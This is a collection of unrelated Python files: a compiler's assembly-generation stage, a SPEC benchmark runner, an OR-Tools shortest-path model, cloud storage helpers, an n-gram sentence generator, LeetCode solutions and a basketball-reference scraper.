                    add(None, comment=var.rjust(5) + ' := ' + arg_to_asm(var))
                # stack frame
                add('push', '%ebp')
                add('mov', '%esp', '%ebp')
                add('sub', '$' + str(registersinframe * 4), '%esp',
                    comment='make space on stack for %d local registers' % registersinframe)
                for var in register_to_stack:
                    if var not in params:
                        add(None, comment=str(var).rjust(5) + ' := ' + arg_to_asm(var))
                for val, var in register_to_stack.items():
                    if type(val) is float:
                        add('movl', float_to_asm(val), '%d(%%ebp)' % var, comment=('const float: ' + str(val)))
                add(None)
                state = 'fun-body'
                continue

        elif state == 'fun-body':
            if op == 'push':
                nextop, _, _, _ = code[line + 1]
                if nextop == 'return':
                    add('mov', arg_to_asm(arg1), '%eax', comment='return ' + str(arg1))
                    args = []
                else:
                    args.append(arg1)
                    add('push', arg_to_asm(arg1))
            elif op == 'call':
                nextop, _, _, nextret = code[line + 1]
                retvalue = (nextret + ' := ') if nextop == 'pop' else ''
                comment = retvalue + res + '(' + ','.join([str(el) for el in reversed(args)]) + ')'
                add('call', res, comment=comment)
                if len(args) > 0:
                    add('add', '$' + str(len(args) * 4), '%esp')
                args = []
            elif op == 'pop':
                add('mov', '%eax', arg_to_asm(res))
            else:
                to_assembly(*tac, totype=totype)

        line += 1

def codetoassembly(code, verbose=0, assemblyfile=None):
    assembly = ['.globl main', '.text']
    fun_ranges = function_ranges2(code)
    for _, start, end in fun_ranges:
        fun_to_asm(code[start:end], assembly)

    if verbose > 0:  # pragma: no cover
        print('\n' + ' GNU Assembly '.center(40, '#'))
        print('\n'.join(map(str, assembly)))

    if assemblyfile is not None:  # pragma: no cover
        if verbose > -1:
            print('Writing assembly to: \'%s\'' % assemblyfile)
        with open(assemblyfile, 'w') as f:
            f.write('\n'.join(map(str, assembly)))
            f.write('\n')

    return assembly

if __name__ == '__main__':
    import argparse
    from .parser import parsefile
    from .three import asttothree
    from .bb import threetobbs
    from .lvn import lvn
    parser = argparse.ArgumentParser()
    parser.add_argument("filename", help="The *.mc file to convert to GNU Assembly")
    parser.add_argument('--lvn', '-l', action='count', default=False)
    parser.add_argument('--verbose', '-v', action='count', default=0)
    args = parser.parse_args()
    bbs = threetobbs(
        asttothree(
            parsefile(
                args.filename,
                verbose=args.verbose - 2),
            verbose=args.verbose - 1),
        verbose=0 if args.lvn else args.verbose)
    if args.lvn:
        bbs = lvn(bbs, verbose=args.verbose)
    code = [tac for bb in bbs for tac in bb]
    codetoassembly(code, args.verbose + 1, args.filename + '.s')


#!/usr/bin/python2

import os
import subprocess
import time
import random

def spec_cmd(spec_prog):
    return "taskset 0x8 runspec --config=test.cfg --size=train" \
    " --noreportable --tune=base --iterations=1 {spec_prog}".format(
        spec_prog=spec_prog)

spec_benchmarks = ('perlbench', 'bzip2', 'gcc', 'mcf', 'milc', 'namd',
'gobmk', 'soplex', 'povray', 'hmmer', 'sjeng', 'libquantum',
'h264ref', 'lbm', 'omnetpp', 'astar')

while True:

    running_processes = []
    for spec_prog in ['perlbench', 'gcc', 'libquantum']:
        cmd = spec_cmd(spec_prog)
        print(cmd)
        spec_process = subprocess.Popen(cmd.split())
        running_processes.append(spec_process)

    for p in running_processes:
        p.wait()
    time.sleep(1)


from ortools.linear_solver import pywraplp

def encontrar_caminho_minimo(num_vertices, num_arestas, vertice_inicial, vertice_final, arestas):
    solver = pywraplp.Solver.CreateSolver('GLOP')

    x = {}
    for (u, v, w) in arestas:
        x[u, v] = solver.BoolVar('x[{}, {}]'.format(u, v))

    # Adiciona o objetivo
    objetivo = solver.Objective()
    for (u, v, w) in arestas:
        objetivo.SetCoefficient(x[u, v], w)
    objetivo.SetMinimization()

    # Adiciona as restrições
    for u in range(num_vertices):
        soma_saida = solver.Sum(x[u, v] for (i, v, _) in arestas if i == u)
        soma_entrada = solver.Sum(x[i, u] for (i, v, _) in arestas if v == u)
        if u == vertice_inicial:
            solver.Add(soma_saida - soma_entrada == 1)
        elif u == vertice_final:
            solver.Add(soma_saida - soma_entrada == -1)
        else:
            solver.Add(soma_saida - soma_entrada == 0)

    # Resolve o problema
    results = solver.Solve()

    # Retorna os resultados
    if results == pywraplp.Solver.OPTIMAL:
        valor_objetivo = objetivo.Value()
        caminho_minimo = [(u, v, x[u, v].solution_value()) for (u, v, _) in arestas]
        return valor_objetivo, caminho_minimo
    else:
        return None, None

def main():
    num_vertices, num_arestas, vertice_inicial, vertice_final = map(int, input().split())

    arestas = []
    for _ in range(num_arestas):
        vertice_origem, vertice_destino, peso_aresta = map(int, input().split())
        arestas.append((vertice_origem, vertice_destino, peso_aresta))

    valor_objetivo, caminho_minimo = encontrar_caminho_minimo(num_vertices, num_arestas, vertice_inicial, vertice_final, arestas)

    if valor_objetivo is not None and caminho_minimo is not None:
        print('Solução:')
        print('Valor objetivo =', valor_objetivo)
        for (u, v, valor) in caminho_minimo:
            print("x[{}, {}] = {}".format(u, v, valor))
    else:
        print('O problema não possui uma solução ótima.')

if __name__ == '__main__':
    main()


from google.cloud import storage
import requests
import json
import os
import boto3
import botocore
import subprocess
from subprocess import run, PIPE

#Creds
PROJECT_ID = os.environ.get("PROJECT_ID", None)
aws_access_key_id = os.environ.get("aws_access_key_id", None)
aws_secret_access_key = os.environ.get("aws_secret_access_key", None)

def obtain_credentials_from_aws_s3():
    # s3 = boto3.client('s3', aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)
    # BUCKET_NAME = "cs378-final-project-cloud-storage-bucket-creds"
    # OBJECT_NAME = "cs378-final-project-media-5360efad6b3d.json"
    # FILE_NAME = "C:/cs378-final-project-media-5360efad6b3d.json"
    # s3.download_file(BUCKET_NAME, OBJECT_NAME, FILE_NAME)

    BUCKET_NAME = 'cs378-final-project-cloud-storage-bucket-creds' # replace with your bucket name
    KEY = 'cs378-final-project-media-5360efad6b3d.json' # replace with your object key

    s3 = boto3.resource('s3')

    try:
        s3.Bucket(BUCKET_NAME).download_file(KEY, KEY)
    except botocore.exceptions.ClientError as e:
        if e.response['Error']['Code'] == "404":
            print("The object does not exist.")
        else:
            raise e

def set_credentials_from_aws_s3():
    cwd = os.getcwd()
    print("cwd: \t\t{}".format(cwd))
    for root, dirs, files in os.walk(cwd):
        for filename in files:
            print("Filename: \t{}".format(str(os.path.join(root, filename))))
        for dirname in dirs:
            print("Directory: \t{}".format(str(os.path.join(root, dirname))))

    FILE_NAME = cwd + "\\" + "cs378-final-project-media-5360efad6b3d.json"
    print("FILE_NAME: ", FILE_NAME)
    p = subprocess.run(["set", "GOOGLE_APPLICATION_CREDENTIALS", "=", FILE_NAME], check=True, stdout=PIPE, input='\n')

#Get creds for GOOGLE_APPLICATION_CREDENTIALS
# obtain_credentials_from_aws_s3()
# set_credentials_from_aws_s3()

"""
Creates the file structure for the Buckets
If we don't currently have the required bucket structure, it deletes all the current buckets,
then adds all the buckets
"""
def create_file_structure():
    storage_client = storage.Client()

    found_buckets = []
    for bucket in storage_client.list_buckets():
        found_buckets.append(bucket.name)
    print("Found buckets: ", found_buckets)

    #Just do it, don't worry about idempotency
    required_buckets = ["cs378_final_converted_videos", "cs378_final_raw_videos"]
    for bucket_name in required_buckets:
        if bucket_name not in found_buckets:
            storage_client.create_bucket(bucket_name)

"""
Attempts to get an object with name filename from bucket called bucket
Return the object if successful, None if unsuccessful
Note that blob.name will give "filename.fileext"

Returns it in a variable
"""
def get_object_from_bucket(filename, bucket_name):
    storage_client = storage.Client()
    bucket = storage_client.get_bucket(bucket_name)
    blobs = bucket.list_blobs()
    file = None
    for blob in blobs:
        print(blob.name)
        if blob.name == filename:
            file = blob
    return file
    # response = None
    # try:
    #     query = "https://www.googleapis.com/storage/v1/b/" + bucket + "/o/" + filename + "&key=" + GCP_CS378_MASTER_ADMIN_API_KEY
    #     raw = requests.get(query)
    #     response = raw
    #     print(raw.json())
    # except Exception as e:
    #     print(e)
    # return response

"""
Downloads it, in FILE form
"""
def download_object(source_blob_name, bucket_name, destination_file_name):
    """Downloads a blob from the bucket."""
    storage_client = storage.Client()
    bucket = storage_client.get_bucket(bucket_name)
    blob = bucket.blob(source_blob_name)

    blob.download_to_filename(destination_file_name)

    print('Blob {} downloaded to {}.'.format(
        source_blob_name,
        destination_file_name))

"""
Uploads an object to the bucket
"""
def upload_object(bucket_name, source_file_name, destination_blob_name):
    """Uploads a file to the bucket."""
    storage_client = storage.Client()
    bucket = storage_client.get_bucket(bucket_name)
    blob = bucket.blob(destination_blob_name)

    blob.upload_from_filename(source_file_name)

    print('File {} uploaded to bucket {} with dest filename{}.'.format(
        source_file_name, bucket_name,
        destination_blob_name))

"""
Copies an object, then puts it into the destination_bucket
"""
def copy_and_write_object(source_bucket_name, blob_name, dest_bucket_name):
    """Copies a blob from one bucket to another with a new name."""
    storage_client = storage.Client()
    source_bucket = storage_client.get_bucket(source_bucket_name)
    source_blob = source_bucket.blob(blob_name)
    destination_bucket = storage_client.get_bucket(dest_bucket_name)

    new_blob = source_bucket.copy_blob(
        source_blob, destination_bucket, blob_name)

    print('Blob {} in source bucket {} copied to blob {} in dest bucket {}.'.format(
        source_blob.name, source_bucket.name, new_blob.name,
        destination_bucket.name))

"""
Delete object from bucket
"""
def delete_object(bucket_name, blob_name):
    """Deletes a blob from the bucket."""
    storage_client = storage.Client()
    bucket = storage_client.get_bucket(bucket_name)
    blob = bucket.blob(blob_name)

    blob.delete()

    print('Blob {} deleted.'.format(blob_name))


'''
Programming Assignment 2 - Ngram
Class: CMSC416 Natural Language Processing
Author: Pranaav Rao
Date: 5/18/2022

This program will learn an N-gram language model from an arbitrary number
of plain text files. It will generate an user-specified number of sentences
based on the specified N-gram model.

Directions:
Run program on command line with the first CL argument being the N-gram model
(3 for trigram, 4 for quadgram, etc.), the second CL argument being the number of
sentences to be returned, and all following arguments are the texts for the model
to be processed on.

Example input:
python3 ngram.py 4 10 .\anna-karenina.txt '.\crime&punishment.txt' '.\war&peace.txt

Example output:
This program generates random sentences based on an Ngram model
Command line settings: ngram.py 4 9
1
“then who can have latched the door , “why i’m especially fond of that music .
2
The rooms , and hay , and beat down one another’s prices to below what they had already told her many times: that so-and-so was dead and so-and-so was married , which she would again be unable to live for a single moment .
3
“adieu , mary , today elias mitrofánych” ( this was his overseer ) “came back from the tambóv estate and told me they are already offering eighty thousand rubles for the forest .
4
Order after order and plan after plan were issued by him from the time the first person said and proved that the number of public domain and licensed works that can be freely distributed in machine-readable form accessible by the widest array of equipment including outdated equipment .
5
He pricked up his horse ; another was saying that pleased her—that did not even interest her , for it is irrevocably linked to the project gutenberg literary archive foundation , how to help produce our new ebooks , and how to subscribe to our email newsletter to hear about new ebooks .
6
Zakhár , while still wearing deep mourning , such matchmaking would be an insult to the world and the clearness of our perception of the place where you are located before using this ebook .
7
Mechanically he drew from a chair beside him .
8
The russian army in paris when the news of his father’s death reached him .
9
Veslovsky’s only lately married .

Algorithm:
The algorithm parses over the provided text, noting frequency of words appearing
in each n-gram of the text as well as a record of the how often an ngram appears.
It then generates sentences based on the previous n-grams through random selection
from the history dictionary and extending the sentences using the ngram model
based on the previous n words of the generating sentence.
'''

from sys import argv
import re
import random

n = int(argv[1])     #ngram model
numSentences = int(argv[2])      #number of sentences to return
filenames = argv[3:]    #files to compose corpus
text = ''

#informative message
print("This program generates random sentences based on an Ngram model")
print("Command line settings: ngram.py "+str(n)+' '+str(numSentences))

#this loop iterates over the arguments of the program, accesses the named files, and adds all text to the corpus string
for file in filenames:
    with open(file, 'r', encoding="utf-8-sig") as f:
        text += f.read()

text = text.replace('\n', ' ')
text = text.lower()
# separate punctuation for future tokenization
text = re.sub(r'([,";\(\)])',r' \1 ', text)
# identify sentence boundaries
end_tag = ' <end> <start> '
text = text.replace('.', end_tag)
text = text.replace('!', end_tag)
text = text.replace('?', end_tag)
text = text.replace('_', " ")
corpus = text.split()
#move end <start> tag to front
corpus = ['<start>']+corpus[:-1]

#create n-gram
ndict = {}
hdict = {}
ptr = 0
while ptr < len(corpus)-n:
    array = corpus[ptr:ptr+n]
    word = array[-1]
    history = ' '.join(array[:-1])
    if history in ndict and word in ndict[history]:
        ndict[history][word] += 1
    else:
        ndict[history] = {word:1}
    if history in hdict:
        hdict[history] += 1
    else:
        hdict[history] = 1
    ptr += 1

for i in range(1, numSentences+1):
    # randomly pick starting phrase for sentence
    sentence = random.choice(list(hdict.keys()))
    # ensure starting phrase starts with start tag and final word isn't an end tag
    if n == 2:
        sentence = random.choice(list(hdict.keys()))
    elif n > 2:
        while sentence.split()[0] != '<start>' or sentence.split()[-1] == '<end>' or sentence.split()[1] == '"':
            sentence = random.choice(list(hdict.keys()))

    while sentence.split()[-1] != '<end>':
        arr_sent = sentence.split()
        #get last n-1 words
        if n== 2 and len(arr_sent) > 70:
            sentence += '.'
            break
        check_hist = arr_sent[-n+1:]
        check_hist = ' '.join(check_hist)
        #get dictionary containing that history
        current_hist = ndict[check_hist]
        #pick random word from that dictionary
        word = random.choice(list(current_hist.keys()))
        arr_sent = arr_sent+[word]
        sentence = ' '.join(arr_sent)

    sentence = sentence.replace('<start>', '')
    sentence = sentence.replace('<end>', '.')
    print(i)
    print(sentence.strip().capitalize())


"""
Given an array of non-negative integers, you are initially positioned at the first index of the array.

Each element in the array represents your maximum jump length at that position.

Your goal is to reach the last index in the minimum number of jumps.
"""
class Solution:
    def jump(self, nums: List[int]) -> int:
        n = len(nums)
        if n == 1:     #[0]
            return 0
        reach = jumpt = endp = 0
        for i, nm in enumerate(nums):
            reach = max(reach, nm + i)
            if reach >= n-1:       #if end
                return jumpt + 1
            if endp == i:
                jumpt += 1
                endp = reach

        return jumpt


SCREEN_WIDTH  = 1920
SCREEN_HEIGHT = 1080

FACE_RIGHT    = 0
FACE_LEFT     = 1
FACE_UP       = 2
FACE_DOWN     = 3
NB_DIRECTIONS = 4

# Index for Gfx layers
ZIDX_GROUND = 10000

# Collision index
COLL_PLAYERS = 0x1
COLL_TREES   = 0x2


class Solution:
    def maxProduct(self, nums: List[int]) -> int:
        prevMin = nums[0]
        prevMax = nums[0]
        maxValue = nums[0]
        for i in range(1,len(nums)):
            currentMin = min(nums[i],prevMin*nums[i],prevMax*nums[i])
            currentMax = max(nums[i],prevMin*nums[i],prevMax*nums[i])
            prevMin = currentMin
            prevMax = currentMax
            maxValue = max(currentMax,maxValue)
        return maxValue


import requests
from bs4 import BeautifulSoup
import pandas as pd
import os
Year = [2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2010, 2011, 2012, 2013, 2014, 2015, 2016]
Month = []
Day = []

i = 1
while i < 13:
    Month.append(i)
    i += 1
i = 1
while i < 32:
    Day.append(i)
    i += 1

box_links = []
for y in Year:
    y = str(y)
    for m in Month:
        m = str(m)
        for d in Day:
            d = str(d)
            status = 1 - (Year[len(Year)-1] - (int(y)-1))/len(Year) + ((int(m)/12) * 1/len(Year)) + (int(d)/30 * 1/12 * 1/len(Year))
            print("{0:.8%}".format(status))
            try:
                date = str(m) + "/" + str(d) + "/" + str(y)
                link = "https://www.basketball-reference.com/boxscores/index.fcgi?month=" + m + "&day=" + d + "&year=" + y
                html = requests.get(link).content
                soup = BeautifulSoup(html, 'html.parser')
                table = soup.find_all('table')
                cell = table[1]
                z = cell.find_all('td')
                games = soup.find('div', attrs={"class": "section_heading"})

                if len(games.text) == 11:
                    game_count = games.text[0]
                else:
                    game_count = games.text[:1]

                gam = soup.find_all('div', attrs={"class": "game_summary expanded nohover"})

                z = 0
                game_bank = []
                running_record = []

                try:
                    while z < int(game_count):
                        t1 = gam[z].text
                        t2 = t1.split("\n")
                        for t in t2:
                            if len(t) < 2:
                                pass
                            else:
                                game_bank.append(t)
                        AQ = game_bank[8]
                        HQ = game_bank[10]
                        fin_game_bank = [game_bank[0], game_bank[1], game_bank[3], game_bank[4], AQ[:2], AQ[2:4], AQ[4:6],
                                         AQ[6:8], HQ[:2], HQ[2:4], HQ[4:6], HQ[6:8], date]
                        running_record.append(fin_game_bank)
                        game_bank.clear()
                        z += 1

                    Headers = ['Away Team', 'Away Total', 'Home Team', 'Home Total', 'AQ1', 'AQ2', 'AQ3', 'AQ4', 'HQ1', 'HQ2',
                               'HQ3', 'HQ4', 'Date']
                    game_record = pd.DataFrame(running_record, columns=Headers)
                    csv_file = game_record.to_csv(d + "_" + m + "_" + y + '_game_record.csv', index=True)
                except:
                    pass
            except:
                pass